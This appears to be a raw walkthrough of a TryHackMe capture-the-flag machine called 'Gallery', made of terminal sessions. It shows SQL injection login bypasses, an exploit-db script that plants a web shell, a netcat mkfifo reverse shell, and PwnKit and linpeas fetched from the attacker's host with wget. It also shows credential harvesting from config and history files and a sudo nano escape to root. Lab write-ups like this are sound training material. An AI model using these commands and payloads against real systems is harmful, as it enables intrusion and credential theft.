Gallery
Deploy and get a Shell
Our gallery is not very well secured.
Designed and created by Mikaa !
https://mikadmin.fr/blog/pentest-cheatsheet/
https://gist.github.com/jesusgavancho/d0063a1de1a91839b79914e552cfc507
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ whoami | figlet
_ _ _
| | ____ _| (_)
| |/ / _` | | |
| < (_| | | |
|_|\_\__,_|_|_|
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ rustscan -a 10.10.19.103 --ulimit 5500 -b 65535 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.19.103:80
Open 10.10.19.103:8080
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-23 14:13 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
Initiating Ping Scan at 14:13
Scanning 10.10.19.103 [2 ports]
Completed Ping Scan at 14:13, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:13
Completed Parallel DNS resolution of 1 host. at 14:13, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:13
Scanning 10.10.19.103 [2 ports]
Discovered open port 8080/tcp on 10.10.19.103
Discovered open port 80/tcp on 10.10.19.103
Completed Connect Scan at 14:13, 0.19s elapsed (2 total ports)
Initiating Service scan at 14:13
Scanning 2 services on 10.10.19.103
Completed Service scan at 14:13, 6.43s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.19.103.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 5.94s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.78s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
Nmap scan report for 10.10.19.103
Host is up, received syn-ack (0.19s latency).
Scanned at 2022-12-23 14:13:30 EST for 14s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
8080/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Simple Image Gallery System
|_http-favicon: Unknown favicon MD5: AC2148CFC4ABD06702A26F4F7CB95E09
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:13
Completed NSE at 14:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds
http://10.10.19.103:8080
http://10.10.19.103/gallery/login.php
sqli
admin'#
' or 1=1-- j
' or 1=1#
' or "x"="x"-- -
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ searchsploit Simple Image Gallery
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vuln | php/webapps/49064.txt
Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 | php/webapps/44104.txt
Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated) | php/webapps/50214.py
Simple Image Gallery System 1.0 - 'id' SQL Injection | php/webapps/50198.txt
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ searchsploit -m php/webapps/50214.py
Exploit: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
URL: https://www.exploit-db.com/exploits/50214
Path: /usr/share/exploitdb/exploits/php/webapps/50214.py
Codes: N/A
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable, with very long lines (816)
Copied to: /home/kali/php-8.1.0-dev-backdoor-rce/50214.py
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ python3 50214.py
TARGET = http://10.10.19.103:8080
Login Bypass
shell name TagokwdmwsifjbuowqbLetta
protecting user
User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin
shell uploading
- OK -
Shell URL : http://10.10.19.103/gallery/uploads/1671824700_TagokwdmwsifjbuowqbLetta.php?cmd=whoami
url encode rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.19.103 1337 >/tmp/f (cyberchef)
encode all special characters
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E8%2E19%2E103%201337%20%3E%2Ftmp%2Ff
now will be
http://10.10.19.103/gallery/uploads/1671824700_TagokwdmwsifjbuowqbLetta.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E8%2E19%2E103%201337%20%3E%2Ftmp%2Ff
revshell
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ rlwrap nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.19.103.
Ncat: Connection from 10.10.19.103:44588.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/var/www/html/gallery/uploads
$ ls
1671824700_TagokwdmwsifjbuowqbLetta.php
gallery.png
no-image-available.png
user_1
$ cd ..
$ ls
404.html
albums
archives
assets
build
classes
config.php
create_account.php
database
dist
home.php
inc
index.php
initialize.php
login.php
plugins
report
schedules
system_info
uploads
user
$ cat initialize.php
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
?>
gallery_user:passw0rd321
let's stabilize shell
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ rlwrap nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.19.103.
Ncat: Connection from 10.10.19.103:44590.
/bin/sh: 0: can't access tty; job control turned off
$ export TERM=xterm
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@gallery:/var/www/html/gallery/uploads$
zsh: suspended rlwrap nc -lnvp 1337
┌──(kali㉿kali)-[~/php-8.1.0-dev-backdoor-rce]
└─$ stty raw -echo ; fg
[1] + continued rlwrap nc -lnvp 1337
www-data@gallery:/var/www/html/gallery/uploads$ reset
www-data@gallery:/var/www/html/gallery/uploads$ mysql -u gallery_user -p
mysql -u gallery_user -p
Enter password: passw0rd321
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 616
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| gallery_db |
| information_schema |
+--------------------+
2 rows in set (0.00 sec)
MariaDB [(none)]> use gallery_db;
use gallery_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [gallery_db]> show tables;
show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list |
| images |
| system_info |
| users |
+----------------------+
4 rows in set (0.00 sec)
MariaDB [gallery_db]> select * from users;
select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname | lastname | username | password | avatar | last_login | type | date_added | date_updated |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| 1 | Adminstrator | Admin | admin | a228b12a08b6527e7978cbe5d914531c | uploads/1671824700_TagokwdmwsifjbuowqbLetta.php | NULL | 1 | 2021-01-20 14:02:37 | 2022-12-23 19:45:16 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set (0.00 sec)
MariaDB [gallery_db]> quit
quit
Bye
https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.c
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ nano PwnKit.c
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ ls
PwnKit PwnKit.c
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.19.103 - - [23/Dec/2022 15:09:22] "GET /PwnKit HTTP/1.1" 200 -
www-data@gallery:/tmp$ mkdir witty
mkdir witty
www-data@gallery:/tmp$ cd witty
cd witty
www-data@gallery:/tmp/witty$ ls
ls
www-data@gallery:/tmp/witty$ wget http://10.8.19.103:80/PwnKit
wget http://10.8.19.103:80/PwnKit
--2022-12-23 20:09:22-- http://10.8.19.103/PwnKit
Connecting to 10.8.19.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16800 (16K) [application/octet-stream]
Saving to: 'PwnKit'
PwnKit 100%[===================>] 16.41K 83.9KB/s in 0.2s
2022-12-23 20:09:23 (83.9 KB/s) - 'PwnKit' saved [16800/16800]
www-data@gallery:/tmp/witty$ chmod +x PwnKit
chmod +x PwnKit
www-data@gallery:/tmp/witty$ ./PwnKit
./PwnKit
www-data@gallery:/tmp/witty$ Exploit failed. Target is most likely patched.
whoami
whoami
www-data
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ locate linpeas
/home/kali/Downloads/linpeas.sh
/home/kali/hackthebox/linpeas.sh
┌──(kali㉿kali)-[~/Downloads/pwnkit/true]
└─$ cd ../..
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.19.103 - - [23/Dec/2022 15:14:02] "GET /linpeas.sh HTTP/1.1" 200 -
www-data@gallery:/tmp/witty$ wget http://10.8.19.103:80/linpeas.sh
wget http://10.8.19.103:80/linpeas.sh
--2022-12-23 20:14:01-- http://10.8.19.103/linpeas.sh
Connecting to 10.8.19.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 777018 (759K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 758.81K 425KB/s in 1.8s
2022-12-23 20:14:04 (425 KB/s) - 'linpeas.sh' saved [777018/777018]
www-data@gallery:/tmp/witty$ ls
ls
PwnKit linpeas.sh
www-data@gallery:/tmp/witty$ chmod +x linpeas.sh
chmod +x linpeas.sh
let's see
www-data@gallery:/tmp/witty$ ./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
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▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------|
| Get latest LinPEAS : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @carlospolopm |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------/
linpeas-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
╔═══════════════════╗
═════════════════════════════════════════╣ Basic information ╠═════════════════════════════════════════
╚═══════════════════╝
OS: Linux version 4.15.0-167-generic (buildd@lcy02-amd64-045) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #175-Ubuntu SMP Wed Jan 5 01:56:07 UTC 2022
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: gallery
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
╔════════════════════╗
════════════════════════════════════════╣ System Information ╠════════════════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 4.15.0-167-generic (buildd@lcy02-amd64-045) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #175-Ubuntu SMP Wed Jan 5 01:56:07 UTC 2022
Distributor ID: Ubuntu
Description: Ubuntu 18.04.6 LTS
Release: 18.04
Codename: bionic
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.21p2
╔══════════╣ CVEs Check
./linpeas.sh: 1197: ./linpeas.sh: [[: not found
./linpeas.sh: 1197: ./linpeas.sh: rpm: not found
./linpeas.sh: 1197: ./linpeas.sh: 0: not found
./linpeas.sh: 1207: ./linpeas.sh: [[: not found
╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
New path exported: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
╔══════════╣ Date & uptime
Fri Dec 23 20:14:46 UTC 2022
20:14:46 up 1:25, 0 users, load average: 0.71, 0.16, 0.05
╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk
╔══════════╣ Unmounted file-system?
╚ Check if you can mount unmounted devices
/dev/disk/by-id/dm-uuid-LVM-47UUMpglUmCIKjJ4GwkEigDxsGED6f6WQzTFdTLYy6BOxYoOHUDSOFOIqUeVGqTE / ext4 defaults 0 0
/dev/disk/by-uuid/7db5879e-36e2-4ee4-b7e4-d6008335b7c9 /boot ext4 defaults 0 0
╔══════════╣ Environment
╚ Any private information inside environment variables?
HISTFILESIZE=0
SHLVL=1
OLDPWD=/tmp
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=9:19684
_=./linpeas.sh
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=2dd5bfc1483243d7b9a0dddb62e3c063
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
HISTSIZE=0
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/tmp/witty
HISTFILE=/dev/null
╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed
dmesg Not Found
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2017-0358] ntfs-3g-modprobe
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Exposure: less probable
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
╔══════════╣ Searching passwords in history files
@stats = stats
@items = { _seq_: 1 }
@threads = { _seq_: "A" }
sudo -lb3stpassw0rdbr0xx
sudo -l
b3stpassw0rdbr0xx
www-data@gallery:/tmp/witty$ cd /var/
cd /var/
www-data@gallery:/var$ ls
ls
backups cache crash lib local lock log mail opt run spool tmp www
www-data@gallery:/var$ cd backups
cd backups
www-data@gallery:/var/backups$ ls
ls
apt.extended_states.0 apt.extended_states.2.gz mike_home_backup
apt.extended_states.1.gz apt.extended_states.3.gz
www-data@gallery:/var/backups$ cd mike_home_backup
cd mike_home_backup
www-data@gallery:/var/backups/mike_home_backup$ ls
ls
documents images
www-data@gallery:/var/backups/mike_home_backup$ cd documents
cd documents
www-data@gallery:/var/backups/mike_home_backup/documents$ ls
ls
accounts.txt
www-data@gallery:/var/backups/mike_home_backup/documents$ cat accounts.txt
cat accounts.txt
Spotify : mike@gmail.com:mycat666
Netflix : mike@gmail.com:123456789pass
TryHackme: mike:darkhacker123
www-data@gallery:/var/backups/mike_home_backup/documents$ cd ..
cd ..
www-data@gallery:/var/backups/mike_home_backup$ ls
ls
documents images
www-data@gallery:/var/backups/mike_home_backup$ cd images
cd images
www-data@gallery:/var/backups/mike_home_backup/images$ ls
ls
23-04.jpg 26-04.jpg my-cat.jpg
www-data@gallery:/var/backups/mike_home_backup/images$ cd ..
cd ..
www-data@gallery:/var/backups/mike_home_backup$ ls
ls
documents images
www-data@gallery:/var/backups/mike_home_backup$ ls -lah
ls -lah
total 36K
drwxr-xr-x 5 root root 4.0K May 24 2021 .
drwxr-xr-x 3 root root 4.0K Dec 23 18:51 ..
-rwxr-xr-x 1 root root 135 May 24 2021 .bash_history
-rwxr-xr-x 1 root root 220 May 24 2021 .bash_logout
-rwxr-xr-x 1 root root 3.7K May 24 2021 .bashrc
drwxr-xr-x 3 root root 4.0K May 24 2021 .gnupg
-rwxr-xr-x 1 root root 807 May 24 2021 .profile
drwxr-xr-x 2 root root 4.0K May 24 2021 documents
drwxr-xr-x 2 root root 4.0K May 24 2021 images
www-data@gallery:/var/backups/mike_home_backup$ cat .bash_history
cat .bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
www-data@gallery:/var/backups/mike_home_backup$ su mike
su mike
Password: b3stpassw0rdbr0xx
mike@gallery:/var/backups/mike_home_backup$ whoami
whoami
mike
mike@gallery:/var/backups/mike_home_backup$ cd /home
cd /home
mike@gallery:/home$ ls
ls
mike ubuntu
mike@gallery:/home$ cd mike
cd mike
mike@gallery:~$ ls
ls
documents images user.txt
mike@gallery:~$ cat user.txt cat user.txt
cat user.txt
THM{af05cd30bfed67849befd546ef}
privesc
mike@gallery:~$ sudo -l
sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
mike@gallery:~$ cat /opt/rootkicat
cat /opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Este código es un script de bash que permite a un usuario ejecutar distintas opciones utilizando el programa "rkhunter". "rkhunter" es una herramienta de seguridad que se utiliza para detectar posibles rootkits en sistemas basados en Unix.
El script comienza leyendo una entrada del usuario a través de la instrucción "read". La entrada del usuario se almacena en la variable "ans". Luego, se utiliza la instrucción "case" para realizar una comparación entre la entrada del usuario y varias opciones predefinidas. Si la entrada del usuario coincide con una de las opciones, se ejecuta el código correspondiente. Las opciones disponibles son:
- versioncheck: ejecuta el comando "rkhunter --versioncheck", que muestra la versión del programa "rkhunter" instalada en el sistema.
- update: ejecuta el comando "rkhunter --update", que actualiza la base de datos de rootkits utilizada por "rkhunter".
- list: ejecuta el comando "rkhunter --list", que muestra una lista de todos los archivos verificados por "rkhunter".
- read: abre el archivo "report.txt" en el editor de texto "nano" y permite al usuario leerlo.
- *: si la entrada del usuario no coincide con ninguna de las opciones anteriores, se ejecuta la instrucción "exit", que finaliza el script.
mike@gallery:~$ sudo /bin/bash sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? list
list
Current test names:
additional_rkts all apps attributes avail_modules deleted_files
filesystem group_accounts group_changes hashes hidden_ports hidden_procs
immutable ipc_shared_mem known_rkts loaded_modules local_host login_backdoors
malware network none os_specific packet_cap_apps passwd_changes
ports possible_rkt_files possible_rkt_strings promisc properties rootkits
running_procs scripts shared_libs shared_libs_path sniffer_logs startup_files
startup_malware strings susp_dirs suspscan system_commands system_configs
system_configs_ssh system_configs_syslog tripwire trojans
Grouped test names:
additional_rkts => possible_rkt_files possible_rkt_strings
group_accounts => group_changes passwd_changes
local_host => filesystem group_changes passwd_changes startup_malware system_configs_ssh system_configs_syslog
malware => deleted_files hidden_procs ipc_shared_mem login_backdoors running_procs sniffer_logs susp_dirs suspscan tripwire
network => hidden_ports packet_cap_apps ports promisc
os_specific => avail_modules loaded_modules
properties => attributes hashes immutable scripts
rootkits => avail_modules deleted_files hidden_procs ipc_shared_mem known_rkts loaded_modules login_backdoors possible_rkt_files possible_rkt_strings running_procs sniffer_logs susp_dirs suspscan tripwire trojans
shared_libs => shared_libs_path
startup_files => startup_malware
system_commands => attributes hashes immutable scripts shared_libs_path strings
system_configs => system_configs_ssh system_configs_syslog
Current languages:
cn de en ja tr tr.utf8 zh zh.utf8
Rootkits checked for:
55808 Trojan - Variant A, AjaKit, aPa Kit, Adore, Apache Worm, Ambient (ark),
Balaur, BeastKit, beX2, BOBKit, Boonana (Koobface.A), cb,
CiNIK Worm (Slapper.B variant), CX, Danny-Boy's Abuse Kit, Devil, Diamorphine LKM, Dica,
Dreams, Duarawkz, Ebury, Enye LKM, Flea Linux, FreeBSD,
Fu, Fuck`it, GasKit, Heroin LKM, HjC Kit, ignoKit,
iLLogiC, Inqtana-A, Inqtana-B, Inqtana-C, IntoXonia-NG, Irix,
Jynx, Jynx2, KBeast, Keydnap, Kitko, Knark,
Komplex, ld-linuxv.so, Li0n Worm, Lockit/LJK2, Mokes, Mood-NT,
MRK, Ni0, Ohhara, Optic Kit (Tux), OSXRK, Oz,
Phalanx, Phalanx2, Portacelo, Proton, R3dstorm Toolkit, RH-Sharpe's,
RSHA's, Scalper Worm, Shutdown, SHV4, SHV5, Sin,
SInAR, Slapper, Sneakin, Solaris Wanuk, Spanish, Suckit,
SunOS / NSDAP, SunOS Rootkit, Superkit, TBD (Telnet BackDoor), TeLeKiT, Togroot,
T0rn, trNkit, Trojanit Kit, Turtle2, Tuxtendo, URK,
Vampire, VcKit, Volc, w00tkit, weaponX, Xzibit,
X-Org SunOS, zaRwT.KiT, ZK
Perl module installation status:
perl command Installed
File::stat Installed
Getopt::Long Installed
Crypt::RIPEMD160 MISSING
Digest::MD5 Installed
Digest::SHA Installed
Digest::SHA1 MISSING
Digest::SHA256 MISSING
Digest::SHA::PurePerl MISSING
Digest::Whirlpool MISSING
LWP MISSING
URI Installed
HTTP::Status Installed
HTTP::Date Installed
Socket Installed
Carp Installed.
mike@gallery:~$ sudo /bin/bash sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? versioncheck
versioncheck
[ Rootkit Hunter version 1.4.6 ]
Checking rkhunter version...
This version : 1.4.6
Latest version: Download failed
mike@gallery:~$ sudo /bin/bash sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? update
update
[ Rootkit Hunter version 1.4.6 ]
Checking rkhunter data files...
Checking file mirrors.dat [ Skipped ]
Checking file programs_bad.dat [ Update failed ]
Checking file backdoorports.dat [ Update failed ]
Checking file suspscan.dat [ Update failed ]
Checking file i18n versions [ Update failed ]
Please check the log file (/var/log/rkhunter.log)
using read .. opens nano in /root
so let's use gtfobins
https://gtfobins.github.io/gtfobins/nano/
sudo nano
ctrl +r ctrl x
reset; sh 1>&0 2>&0
mike@gallery:/var/www/html/gallery/uploads$ /bin/nano' as root on gallery. sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
uhmm something failed I'll stabilize another way
┌──(kali㉿kali)-[~/Downloads]
└─$ rlwrap nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.19.103.
Ncat: Connection from 10.10.19.103:44628.
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/python3.6 -c 'import pty;pty.spawn("/bin/bash")'
www-data@gallery:/var/www/html/gallery/uploads$
zsh: suspended rlwrap nc -lnvp 1337
┌──(kali㉿kali)-[~/Downloads]
└─$ stty raw -echo ; fg
[1] + continued rlwrap nc -lnvp 1337
